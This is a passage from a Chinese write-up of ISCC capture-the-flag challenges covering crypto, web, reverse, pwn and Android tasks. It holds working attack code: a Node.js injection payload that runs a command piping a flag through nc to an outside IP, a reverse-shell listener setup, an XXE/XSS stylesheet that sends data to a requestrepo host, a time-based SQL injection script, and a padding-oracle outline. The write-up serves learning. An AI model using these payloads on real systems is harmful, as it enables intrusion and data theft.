self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i + self.BLOCK_SIZE // 16]) for i in range(0, len(key), self.BLOCK_SIZE // 16)]
self.DELTA = 0x9e3779b9
self.IV = iv
self.ROUNDS = 64
if self.IV:
self.mode = Mode.CBC if iv else Mode.ECB
if len(self.IV) * 8 != self.BLOCK_SIZE:
self.mode = Mode.CFB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt_block(self, ct):
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
c0 = b2l(ct[:4])
c1 = b2l(ct[4:])
s = (self.DELTA * self.ROUNDS) & msk
for i in range(self.ROUNDS):
c1 -= ((c0 << 4) + self.KEY[(self.ROUNDS - i - 1 + 2) % len(self.KEY)]) ^ (c0 + s) ^ (
(c0 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 3) % len(self.KEY)])
c1 &= msk
c0 -= ((c1 << 4) + self.KEY[(self.ROUNDS - i - 1) % len(self.KEY)]) ^ (c1 + s) ^ (
(c1 >> 5) + self.KEY[(self.ROUNDS - i - 1 + 1) % len(self.KEY)])
c0 &= msk
s -= self.DELTA
return l2b((c0 << (self.BLOCK_SIZE // 2)) | c1)
def encrypt_block(self, msg):
m0 = b2l(msg[:4])
m1 = b2l(msg[4:])
msk = (1 << (self.BLOCK_SIZE // 2)) - 1
s = 0
for i in range(self.ROUNDS):
s += self.DELTA
m0 += ((m1 << 4) + self.KEY[i % len(self.KEY)]) ^ (m1 + s) ^ ((m1 >> 5) + self.KEY[(i + 1) % len(self.KEY)])
m0 &= msk
m1 += ((m0 << 4) + self.KEY[(i + 2) % len(self.KEY)]) ^ (m0 + s) ^ (
(m0 >> 5) + self.KEY[(i + 3) % len(self.KEY)])
m1 &= msk
return l2b((m0 << (self.BLOCK_SIZE // 2)) | m1)
def decrypt(self, ct):
blocks = [ct[i:i + self.BLOCK_SIZE // 8] for i in range(0, len(ct), self.BLOCK_SIZE // 8)]
pt = b''
if self.mode == Mode.ECB:
for ct_block in blocks:
pt += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
dec_block = self.decrypt_block(ct_block)
pt_block = self._xor(X, dec_block)
pt += pt_block
X = ct_block
elif self.mode == Mode.CFB:
X = self.IV
for ct_block in blocks:
output = self.encrypt_block(X)
pt_block = self._xor(output, ct_block)
pt += pt_block
X = ct_block
return unpad(pt, self.BLOCK_SIZE // 8)
if __name__ == '__main__':
# Provided KEY and IV in hexadecimal format
KEY = bytes.fromhex('3362623866656338306539313238353733373566366338383563666264386133')
IV = bytes.fromhex('64343537373337663034346462393931')
CIPHERTEXT = bytes.fromhex('1cb8db8cabe8edbbddb202b7f24b51f1f35c369b107355f7')
# Initialize the cipher with the given key and IV
cipher = Cipher(KEY, IV)
# Decrypt the ciphertext
decrypted_message = cipher.decrypt(CIPHERTEXT)
# Print the decrypted message (the flag)
print(f'Decrypted message: {decrypted_message}')
#Decrypted message: b'Flag[3]: Cr!@IkhEr}'
将我们刚刚得到的4部分flag合并;
I{R_ifCs@jSNNH^95KSKCA_Nr8BVcwCr!@IkhEr}
栅栏解密即可;(注意是枚举解密)也可以随波逐流梭哈,看自己喜欢;
网站:https://ctf.bugku.com/tool/railfence
ISCC{NArRN_!_HN@i^rIf98kC5BhsKVE@ScrjKw}
8、这题我出不了了
打开靶机啥信息也没给;只给了一个关键信息,点击进去发现注册页面;
简单分析一下;
const mysql = require("mysql");
const pg = require("pg"); // use pg@7.0.2
// WAF
const WAFWORDS = ["select", "union", "and", "or", "delete", "drop", "create", "alter", "truncate", "exec",
"xp_cmdshell", "insert", "update", "sp_", "having", "exec master", "net user", "xp_", "waitfor", "information_schema",
"table_schema", "sysobjects", "version", "group_concat", "concat", "distinct", "sysobjects", "user", "schema_name", "column_name", "table_name",
"\", "/", "*", " ", ";", "--", "(", ")", "'", """, "=", "<", ">", "!=", "<>",
"<=", ">=", "||", "+", "-", ",", ".", "[", "]", ":", "||", "*/", "/*", "_", "%"]
// debug:
// ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==
// Y29uc29sZS5sb2coZGF0YSk7
// fSk7
-
数据库连接:
- 使用
mysql
模块来连接和操作MySQL数据库。 - 使用
pg
模块(特别是版本7.0.2
)连接和操作PostgreSQL数据库。
- 使用
-
WAF (Web Application Firewall):
WAFWORDS
数组定义了一系列不允许在输入中出现的词汇和字符。这些主要是SQL语句的关键字(如select
,delete
,drop
等),以及可能用于SQL注入攻击的特殊字符(如;
,--
,'
,"
等)。- 这个简单的WAF实现的目的是防止SQL注入攻击,通过检查输入是否包含这些禁用词汇和字符来实现。
-
调试:
- 提供了一个Base64编码的字符串:
ZnMucmVhZEZpbGUoJ3ByaW50RmxhZycsICd1dGY4JywgKGVyciwgZGF0YSkgPT4gew==
,解码后是fs.readFile('printFlag', 'utf8', (err, data) => {
,这是Node.js中fs
模块的readFile
函数的调用,尝试读取名为printFlag
的文件内容。 - 紧接着的两个Base64编码的字符串分别解码为
console.log(data);
和});
,这两行代码完成了读取文件内容并将其打印到控制台的操作。
- 提供了一个Base64编码的字符串:
总结:这段代码演示了如何在Node.js应用中使用MySQL和PostgreSQL数据库,以及如何实现一个简单的防火墙来防止SQL注入攻击。通过定义一系列可能用于恶意SQL操作的关键字和特殊字符,代码尝试过滤掉潜在的危险输入。此外,通过Base64编码的字符串提供了一个示例,展示了如何读取文件内容并打印
虽然巴拉巴拉了一大堆但是问题不大哈,看不懂没关系;
直接反手查一手数据库版本看看有没有什么漏洞可以利用;
往下翻翻,看见个帖子,发现仿题,大差不多跟着复现即可;
http://47.96.173.116/2021/10/27/hitcon-2017sql-so-hard/
这时候很多第一次接触服务器的就懵了,什么是服务器,怎么开启呢?
不要急哈,这里手把手教学,你来你也行;
首先我这里开的是腾讯云的;(不会很贵就几毛钱不用害怕)
链接:https://over-rainbow.cn/posts/2017-hitcon-sql-so-hard/
微信登录即可;
我们是这个;
接着点击自定义配置,选择竞价实例;(其它暂时不需要动)
选择这个就足够我们使用了(针对这道题,如有需要长期可自行选择其它);
这边选择CentOS镜像(推荐),至于版本选择第一个或者随便,容量选择20够用了;
接着下一步,网络默认(如果发现必填那就刷新重新来即可),按计量收费(拉满);
安全组选择新建全部勾选(以防万一);
这边登录方式选择立即关联密钥;
点击立即新建,然后就会跳转一个新的页面;
创建完成会自动下载一个后缀pem的文件(切记保管好不要乱传);
然后返回购买页面,然后就有选项了;
最后配置完成选择购买(温馨提示,腾讯云需要里面至少有10块噢,以及要满18);
购买完成,成功进去,那就恭喜你踏出自己从未接触过的领域;(本机防火墙建议暂时全部关掉先)
这里自己的公、内网ip收好噢,接着点进名称修改安全组;
点击编辑规则;
这边先点击一键放通,接着在点击添加规则;
选择自定义,后面都是ALL,点击确认即可;
接着在点击出站规则,还是一键放通;
接着返回刚刚的页面,点击登录;
然后登录选择密钥验证(其它不需要改动);
可以看见我们已经进入我们自己的服务器啦!
我们需要反弹shell之前先需要更新一下源,再安装一下nc;
1、mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
2、wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
3、yum clean all
4、yum makecache
5、yum update
6、yum -y install nc
一句一句执行我上面六条命令一个都不要少(碰到y/d/n全部选择y)即可;
当然会换的可以自己百度一下;
更新并且安装完成nc,可以直接先尝试链接自己本机;
ncat -lvvp 8888
这就算是开启监听端口;
接着我们使用本机nc链接自己开启的端口(测试一下是否链接成功);
原理和pwn的nc一个道理,这里我使用的是kali链接;
nc -自己公网ip 开启端口号
接着我随便在kali(本机上)输入一个ls(没有实际作用),会发现服务器也自动输入了一个ls;
做到这里就代表没有问题了,可以开始反弹shell了;
接着就可以使用python脚本来反弹shell了;
注意脚本里面的nc需要改成自己的公网ip以及端口!!!!!
脚本:
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/printFlag|nc 129.211.186.163 8888`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print('ok')
r = requests.post('http://101.200.138.180:32031/register_7D85tmEhhAdgGu92', data=data)
print(r.content.decode('utf-8'))
简单分析一下这个脚本;
这个脚本使用Python编写,旨在通过HTTP POST请求向一个特定网址发送包含恶意代码的数据。这里的目的是尝试利用目标服务器上的漏洞,执行远程代码,特别是为了执行反弹shell命令。
-
导入模块:
randint
用于生成随机数。requests
用于发起HTTP请求。
-
构造Payload:
payload
是一个精心构造的字符串,目的是通过SQL注入或其他漏洞注入恶意代码。这段代码尝试执行以下操作:- 使用
child_process
模块,这是Node.js的一个模块,允许你执行操作系统命令。 - 执行
/printFlag|nc 119.45.44.214 8888
命令,这是尝试读取名为printFlag
的文件内容,并将这些内容通过netcat
(nc
)命令发送到119.45.44.214
的8888
端口。这是反弹shell的典型做法,目的是将敏感信息或命令执行结果发送到攻击者控制的服务器。
- 使用
% (' '*1024*1024*16)
这部分代码用于生成一个非常大的空白字符串,是为了绕过某些类型的输入验证或触发缓冲区溢出。
-
生成随机用户名:
- 通过连接三个随机生成的数字字符串来创建一个唯一的
username
。
- 通过连接三个随机生成的数字字符串来创建一个唯一的
-
发送HTTP POST请求:
- 使用
requests.post
函数向目标URL发送包含恶意payload的数据。data
字典中的username
字段包含了恶意代码,而password
字段则是一个简单的字符串。 - 打印出请求的响应内容,是为了检查攻击是否成功或服务器的反馈。
- 使用
总结:简单说就是尝试利用目标服务器上的安全漏洞来执行远程代码。具体来说,它试图通过反弹shell命令来泄露服务器上的敏感信息。
暂时就分析到这里,想要更详解些的可以去看上面链接的博主解说;
那我们直接运行即可;(这边因为官方服务器一直炸所以尝试了很多遍)
多返回服务器看几遍看看有没有弹出来,最后终于在某一次弹出来了。。。。。(不容易不容易)
今天bing还炸了,做的真的很艰辛。。。。
最后,友情提示,如果不是长期需要服务器的记得撤销噢,免得会一直扣钱;
注意!!!!是撤掉不是关机!!!关机还是一样收费的!(占用资源)
9、一道普通的XSS题目
打开靶机发现什么也没有,查看源码也没有任何发现,没办法我们只能扫描一下目录;
这里扫了一会,发现了hints,那我们继续跟进;
直接Ctrl+c查看一手源码,发现/lucky;
点击继续跟进,发现了/flag源码,当然这里flag肯定是假的不要多想;
返回继续访问/adminbot目录,得到提示让我们补全参数;
据上得到提示让我们使用xxs攻击,所以我们可以这样构造payload;(参考大佬)
?payload=<script>alert(%27xxs%27)</script>
做到这里,思路就断了,然后想着看看能不能去社工一下看看有没有原题啥的,然后没想到还真被我发现了;
这是国际比赛一道题目,当时比赛0解,我觉得可能是由于大家题量都比较大时间较短或者重心没有放在这边,赛后大家就复现出来了;
链接:https://blog.ankursundara.com/dicectf23-writeups/
原题名:impossible-xss
博主里面有更详细的讲解大家感兴趣的可以去看看;
这里我简单总结一下;
挑战赛由一个简单的express.js网络服务器组成,有两条路由。
/- 通过查询参数为我们提供 XSS?xss
/flag- 返回 Cookie 值FLAG
该标志存储在管理机器人的 cookie 中,该 cookie 由端点呈现。因此,目标似乎是从 adminbot 中泄露 的内容,大概是使用 xss on .到目前为止,挑战似乎非常简单。FLAG/flag/flag/
注意(XSLT 中对 XXE 的 Chrome 支持完全没有记录在案,也不是任何规范的一部分,Firefox 不支持它。)
这里我就直接贴脚本吧;
const xmls = `<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "http://101.200.138.180:30280/flag" >]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:template match="/asdf">
<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
<img>
<xsl:attribute name="src">
http://a265mf0j.requestrepo.com/?&xxe;
</xsl:attribute>
</img>
</BODY>
</HTML>
</xsl:template>
</xsl:stylesheet>`;
const xml = `<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:text/plain;base64,${Buffer.from(xmls).toString('base64')}"?>
<asdf></asdf>`;
const xss = encodeURIComponent(xml);
console.log(xss);
简单分析一下脚本:
1、定义XML样式表 (xmls):
xmls 是一个多行模板字符串,它定义了一个包含XXE攻击的XML样式表。
在文档类型声明中,定义了一个名为 xxe 的XML实体,指向一个远程服务器上的资源(可能是一个敏感文件)。
XSL样式表定义了一个模板匹配 /asdf 节点,并构造了一个HTML结构,其中包含一个img标签。
img标签的src属性被设置为一个URL,该URL包含了之前定义的XXE实体 &xxe;。这意味着当样式表被解析时,XXE实体将被外部资源的内容替换。
2、构造XML文档 (xml):
xml 是另一个多行模板字符串,它定义了一个XML文档。
XML文档使用xml-stylesheet处理指令引用了上面定义的XSL样式表。该样式表被转换为Base64编码,并作为数据URI嵌入到XML文档中。
XML文档包含一个根节点 ,这个节点匹配了XSL样式表中定义的模板。
3、编码和输出 (xss):
xss 通过调用 encodeURIComponent 对整个XML文档进行URL编码。这通常用于确保在将数据作为URL参数传递时,特殊字符不会破坏URL的结构。
然后,脚本在控制台上打印出编码后的XML字符串。
总结:
这个脚本试图构造一个可能用于XXE攻击的XML文档,并将其编码为URL编码的字符串。XXE攻击可能允许攻击者读取远程服务器上的文件、与后端系统进行交互或触发远程请求。脚本的输出可以用于Web应用程序中的攻击载荷,特别是在应用程序处理XML输入并支持外部实体时。
(这里注意脚本里面的http://a265mf0j.requestrepo.com)简单来说属于自己生成的简易服务器,注意替换成自己的;
生成服务器链接:https://requestrepo.com/
操作也非常简单,进入点击复制接着添加在脚本里面即可;
因为这个脚本是node.js的,所以这里可以选择自行下载来运行,当然也可以使用在线网站来运行;
下载网站:https://nodejs.cn/
在线网站:https://www.jyshare.com/compile/22/
这里我选择在线网站;
运行得到;
%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly9hMjY1bWYwai5yZXF1ZXN0cmVwby5jb20vPyZ4eGU7CiAgICAgICAgICA8L3hzbDphdHRyaWJ1dGU%2BCiAgICAgICAgPC9pbWc%2BCiAgICAgIDwvQk9EWT4KICAgIDwvSFRNTD4KICA8L3hzbDp0ZW1wbGF0ZT4KPC94c2w6c3R5bGVzaGVldD4%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E
接着我们继续补全刚刚没访问成功payload;
http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=xxxxxx
我的;
http://101.200.138.180:30280/adminbot?url=http://101.200.138.180:30280/?payload=%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3C%3Fxml-stylesheet%20type%3D%22text%2Fxsl%22%20href%3D%22data%3Atext%2Fplain%3Bbase64%2CPD94bWwgdmVyc2lvbj0iMS4wIj8%2BCjwhRE9DVFlQRSBhIFsKICAgPCFFTlRJVFkgeHhlIFNZU1RFTSAgImh0dHA6Ly8xMDEuMjAwLjEzOC4xODA6MzAyODAvZmxhZyIgPl0%2BCjx4c2w6c3R5bGVzaGVldCB4bWxuczp4c2w9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvWFNML1RyYW5zZm9ybSIgdmVyc2lvbj0iMS4wIj4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvYXNkZiI%2BCiAgICA8SFRNTD4KICAgICAgPEhFQUQ%2BCiAgICAgICAgPFRJVExFPjwvVElUTEU%2BCiAgICAgIDwvSEVBRD4KICAgICAgPEJPRFk%2BCiAgICAgICAgPGltZz4KICAgICAgICAgIDx4c2w6YXR0cmlidXRlIG5hbWU9InNyYyI%2BCiAgICAgICAgICAgIGh0dHA6Ly9hMjY1bWYwai5yZXF1ZXN0cmVwby5jb20vPyZ4eGU7CiAgICAgICAgICA8L3hzbDphdHRyaWJ1dGU%2BCiAgICAgICAgPC9pbWc%2BCiAgICAgIDwvQk9EWT4KICAgIDwvSFRNTD4KICA8L3hzbDp0ZW1wbGF0ZT4KPC94c2w6c3R5bGVzaGVldD4%3D%22%3F%3E%0A%3Casdf%3E%3C%2Fasdf%3E
分析一下这个payload;
这个payload是一个针对Web应用程序的攻击尝试,它利用了XML外部实体(XXE)漏洞和服务器端请求伪造(SSRF)漏洞的组合。Payload的目的是从服务器获取敏感信息(如flag文件)并将其发送到攻击者控制的服务器。
1、URL请求:
请求发送到http://101.200.138.180:30280/adminbot?url=…,就是利用adminbot端点上的漏洞,该端点可能用于处理外部URL请求。
2、SSRF利用:
通过url参数,我们让服务器向自己指定的URL发起请求。这里的URL是同一服务器上的另一个端点http://101.200.138.180:30280/?payload=…,这是我们利用服务器上的SSRF漏洞来访问内部资源或触发服务器上的其他动作。
3、XXE攻击:
payload参数包含了经过URL编码的XML数据,这些数据经解码后包含一个XML声明、一个XML样式表处理指令和一个简单的XML文档。
XML数据中,通过xml-stylesheet处理指令嵌入了一个Base64编码的XSL样式表。解码这个Base64字符串会得到一个包含XXE攻击的XSL样式表,该样式表定义了一个外部实体xxe,其系统标识符指向http://101.200.138.180:30280/flag,这可能是攻击者试图读取的敏感文件。
XSL样式表通过img标签的src属性将xxe实体的内容(即敏感文件的内容)发送到我们控制的服务器http://a265mf0j.requestrepo.com/?&xxe;。
总结:
它结合了SSRF和XXE漏洞来试图从目标服务器获取敏感信息,并将这些信息发送到我们控制的外部服务器。通过让目标服务器解析恶意XML数据,并利用XML外部实体从内部资源中提取数据,我们可能能够绕过安全限制,访问或泄露不应公开的信息。
最后返回我们的服务器翻到最底下即可看见返回的信息;
ISCC{r1yGjDzs^TRsz395}
10、与时俱进
连上好不容易能进来的靶机
有登录和注册界面
用弱口令密码试试
admin
123456
在系统信息查询里面发现有大量软件个数,可能存在sql注入
根据hint2,可能存在cve漏洞,上网搜cve 28346
存在Django SQL注入
查看源代码
审计代码发现nick_name被写死,无回显
采用时间盲注
这里直接贴结果;(脚本在底下)
简介 | 软件异常检测系统
http://123.57.204.215:8003/inquiry
运行后得到 flag 是 url{pf9lkmez},外面套上ISCC{}去提交,但是是错的,那可能就是路径,直接访问/pf9lkmez,直接下载到了一份源码:
查看源码
在finally\views.py和functions中发现有加密解密的逻辑函数,但是没有私钥,
解不出来东西,然后根据hint,猜测私钥可能在服务器上 cve 50752
该漏洞主要是在 python-cryptography 包中发现一个缺陷。此问题可能允许远程攻击者解密使用 RSA 密钥交换的 TLS 服务器中捕获的邮件,这可能导致机密或敏感数据泄露。
直接写脚本跑出来了n e c
原代码所在
Classic Bleichenbacher RSA Padding Oracle Attack
(github.com)
代码改改就可以直接用
(借鉴大佬的wp,环境太崩暂时未复现!!!!!!);
Exp;
import requests
import string
import time
def time_inject(condition):
url = "http://123.57.204.215:8003/inquiry/"
headers = {}
cookies = {
"csrftoken": "csrfmiddlewaretoken", # 填自己的
}
data = {
"csrfmiddlewaretoken": "cEsp1v9BivHqkawBwJBLvRaLJ4S9p9Gn51kPn23Op22pjEsZuhPmBZ3n7X5JwaJ7", # 填自己的
"sel_value": "name",
"nick_name": f'name",(case when({condition}) then randomblob(1000000000) else 0 end),"1',
}
attempt = 0
while attempt < 3: # 尝试请求最多3次
try:
start = time.time()
response = requests.post(url, headers=headers, cookies=cookies, data=data)
end = time.time()
time_cost = end - start
print("time cost: ", time_cost)
if time_cost > 10: # 可以根据实际情况调整时间阈值
return True
else:
return False
except Exception as e:
print(f"Error occurred: {e}")
attempt += 1
time.sleep(5) # 等待5秒后重试
def get_length(var_name):
for i in range(1, 1000):
if time_inject(f"length({var_name})={i}"):
return i
return None # 如果长度未找到,返回None
def get_char(var_name, index):
alphabet = string.ascii_letters + string.digits + "{}_/+=-"
for c in alphabet:
if time_inject(f"substr({var_name},{index},1)='{c}'"):
return c
return None # 如果字符未找到,返回None
def get_flag():
result = ""
payload = "(select flag from flag limit 1)" # 假设只获取一个flag值
length = get_length(payload)
if length is None:
print("Failed to retrieve the length of the flag.")
return None
for i in range(1, length + 1):
char = get_char(payload, i)
if char is None:
print(f"Character not found at position {i}.")
result += '_' # 使用'_'作为未知字符的占位符
else:
result += char
time.sleep(60) # 介于请求之间的延迟,以避免过快发送请求
return result
def main():
flag = get_flag()
if flag:
print(f"Flag: {flag}")
else:
print("Failed to retrieve the flag.")
if __name__ == "__main__":
main()
求Nec的wxp
import requests
import string
import time
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import binascii
import math
from Crypto.Util.number import *
# 从PEM文件加载私钥
def load_private_key_from_pem(file_path):
with open(file_path, 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend()
)
return private_key
# 从PEM文件加载公钥
def load_public_key_from_pem(file_path):
with open(file_path, 'rb') as f:
public_key = serialization.load_pem_public_key(
f.read(),
backend=default_backend()
)
return public_key
# 执行时间攻击来检查给定密文是否具有有效的填充
def time_attack(ciphertext, threshold=0.4):
url = "http://123.57.204.215:8003/inquiry/"
headers = {}
cookies = {
"csrftoken": "Xu3GkLC2QiOCPpvBxM8eY6tGAglrxiFvd2IZahaZV0YSQ2fi9vviiZehqCTYKVAn", # 填你自己的
}
data = {
"csrfmiddlewaretoken": "j88ajzJNRLdCvdOqLurwIdb1TREpDFJ6zGNt95hKWtnSwQy7ndOA26WCJdcWQiEY", # 填你自己的
"ciphertext": ciphertext
}
retries = 3
for i in range(retries):
try:
response = requests.post(
url, headers=headers, cookies=cookies, data=data, timeout=threshold)
if response.status_code != 200:
print("status_code:", response.status_code)
continue
print("response:", response.text)
return True
except requests.exceptions.Timeout:
return False
# 本地设置用于测试的密钥对
def local_setup():
print('Using local loop back oracle for testing')
pub_key = load_public_key_from_pem("public_key.pem")
pn = pub_key.public_numbers()
print(' e: {}'.format(pn.e))
print(' n: {}'.format(pn.n))
ciphertext = long_to_bytes(
int(open("message_bak.log", "r").read().strip()))
print(' c: {}'.format(binascii.hexlify(ciphertext)))
print()
def oracle(ct):
c = int.from_bytes(ct, 'big')
return time_attack(c)
return ciphertext, oracle, pn.e, pn.n
# 定义向上取整的除法
def ceildiv(a, b):
return -(-a // b)
# 定义向下取整的除法
def floordiv(a, b):
return a // b
# 主函数执行Bleichenbacher攻击
def main():
print('Bleichenbacher RSA padding algorithm')
print(' for more info see 1998 paper.')
print()
ct, oracle, e, n = local_setup()
...
# 此处省略了攻击的具体实现细节
...
# 如果是直接运行此脚本,则执行main函数
if __name__ == "__main__":
main()
三、Reverse
迷失之门
下载附件,无壳64位;
锁定主函数main,F5查看伪C;
分析一下
这段代码是一个C++程序的一部分,它从用户那里读取输入,并检查输入字符串的长度。如果长度合适,它将检查字符串中特定位置的字符是否都是小写或下划线。如果不是,v7
被设置为0。接着,它调用check
函数来进行进一步的检查,最后程序暂停等待用户输入。如果输入的字符串太长,程序将输出一条消息并暂停。这种模式很典型地出现在需要用户输入特定格式数据的程序中。
既然这样那我们双击check看看里面是什么;
分析一下;
这段代码首先初始化三个字符串数组,分别包含大写字母、小写字母和数字及特殊字符。另一个字符串v3
被用作某种映射或密钥。接着,它遍历输入字符串a1
的每个字符,根据字符与v3
中对应字符的差值,以及一系列条件,选择性地替换a1
中的字符。这个过程可能是一种加密或编码转换。最后,经过处理的字符串传递给check_2
函数进行验证。整个过程看起来像是一种基于字符替换的简单加密或数据混淆方法。、
查看check_2;
这里每个字符转换过来就是:FSBBhKceLDlofvjimJsDiHZNRK6
那这题的思路也很简单,我们在使用这些原本的字符转换回去即可;
直接上脚本;
List = [70, 83, 66, 66, 104, 75, 99, 101, 76, 68, 108, 111, 102, 118, 106, 105, 109, 74, 115, 68, 105, 72, 90, 78, 82, 75, 54]
aaa="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
bbb="abcdefghijklmnopqrstuvwxyz"
ccc="0123456789+/-=!#&*()?;:*^%"
ddd="DABBZXQESVFRWNGTHYJUMKIOLPC"
flag=""
for i in range(len(List)):
n=chr(List[i])
if(n in aaa):
x=aaa.find(n)
elif n in bbb:
x = bbb.find(n)+26
elif n in ccc:
x = ccc.find(n) + 52
print(x)
flag+=chr(ord(ddd[i])+x)
print(flag)
ISCC{bmc^Ykzv}jvnbvXoRb\]Z}
四、Pwn
chaos
下载附件,使用ida64位打开;
找到main主函数直接F5反编译即可;
简单分析一下;
这段代码实现了一个简单的交互式菜单,允许用户从几个选项中选择。每个选项都与一个特定的函数调用相关联。程序将持续运行,直到用户选择一个不在给定选项中的数字,这时程序将退出。这是命令行界面程序中非常常见的设计模式。
一个个点进去查看,发现五有flag;
主要的 ptr = malloc(0x68uLL);——这行代码使用 malloc
函数分配了104个字节的内存(因为 0x68
十六进制等于104十进制),并将返回的指针存储在变量 ptr
中。
if ( !strncmp((const char *)ptr, “Flag”, 4uLL) )
system(“/bin/sh”);——这里,程序检查 ptr
所指向的内存中的内容是否以 “Flag” 开头。如果是,它将执行 system("/bin/sh")
,
所以答案已经很明显了;
使用kali直接nc连上靶机,这里注意(Flag的F要大写!);
ISCC{0H74HktL4fry4lgTTfayJpJ0fgspm4YB6jH4}
五、mobile
Puzzle_Game
下载附件得到一个apk文件;(apk文件简单来说就是一个压缩包,它包含了一个Android应用运行所需的所有文件和资源);
这里我们使用的工具是反编译工具——jadx-1.4.4;(本机需要配置java环境);
jadx-1.4.4已打包放在评论区;
使用方法:https://blog.csdn.net/gqv2009/article/details/127323557
启动方法:首先进入lib目录,再输入启动指令:java -jar jadx-gui-1.4.4.jar即可;
接着直接导入apk文件进行分析即可;
在com.example.whathappened.a.a下分析代码发现了str1是数值是8位的;
那既然这样我们编写一个 Frida 将脚本注入到Android目标进程脚本;(GPT生成);
// 主函数,用于挂钩和修改Java类的行为
function main() {
// 使用Java.perform来确保所有Java相关的操作都在正确的线程上执行
Java.perform(function () {
// 获取对Java类的引用
let Myjni = Java.use("com.example.whathappened.MyJNI.Myjni");
// 重写getstr方法的实现
Myjni.getstr.implementation = function () {
// 调用原始的getstr方法
let result = this.getstr();
// 打印方法返回的结果
console.log(result);
// 返回结果
return result;
};
});
}
// 调用setImmediate以尽快执行main函数
setImmediate(main);
得出;
gwC9nOCNUhsHqZm
那就大概明白流程了,使用得到值再编写一个sha256脚本进行爆破;
调试过程不多阐述,这里教大家个简单方法;(方法不唯一)
直接定位random;
双击跟进,得到3225L(动态)
注意替换脚本里面的种子;(脚本借鉴师傅的)
// 导入所需的库
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;
// 定义一个名为Test的公共类
public class Test {
// 定义一个方法来合并两个字符串
private static String combineStrings(String arg1, String arg2) {
return arg1 + arg2;
}
// 定义一个自定义加密方法,使用异或运算符对两个字节数组进行加密
private static byte[] customEncrypt(byte[] arg4, byte[] arg5) {
byte[] v0 = new byte[arg4.length];
for (int v1 = 0; v1 < arg4.length; ++v1) {
v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]);
}
return v0;
}
// 定义一个方法来生成加密字符串
public static String encrypt(String arg3, String arg4) {
byte[] v0 = generateSalt(16); // 生成16字节的随机盐
byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0); // 对合并后的字符串进行加密
byte[] v4 = new byte[v0.length + v3.length]; // 创建一个新字节数组以存储盐和加密数据
System.arraycopy(v0, 0, v4, 0, v0.length); // 将盐复制到新数组
System.arraycopy(v3, 0, v4, v0.length, v3.length); // 将加密数据复制到新数组
return Base64.getEncoder().encodeToString(v4); // 将结果转换为Base64字符串
}
// 定义一个方法来执行第二种加密方式
public static String encrypt2(String arg3) {
byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); // 将字符串转换为字节
for (int v1 = 0; v1 < v3.length; ++v1) {
v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100); // 对每个字节进行操作
}
byte[] v1_1 = new byte[v3.length]; // 创建一个新的字节数组
for (int v0 = 0; v0 < v3.length; ++v0) {
v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA); // 对每个字节进行异或操作
}
return Base64.getEncoder().encodeToString(v1_1); // 将结果转换为Base64字符串
}
// 定义一个方法来生成随机盐
private static byte[] generateSalt(int i) {
byte[] bArr = new byte[i]; // 创建一个指定大小的字节数组
new Random(3225L).nextBytes(bArr); // 使用指定的种子生成随机字节
return bArr;
}
// 程序的主入口点
public static void main(String[] args) {
// 打印加密结果
System.out.println("ISCC{" + encrypt2(encrypt("04999999", "gwC9nOCNUhsHqZm")).substring(0, 32) + "}");
}
}
简单分析一下这个脚本;
combineStrings 方法接受两个字符串参数,将它们连接起来,并返回结果。
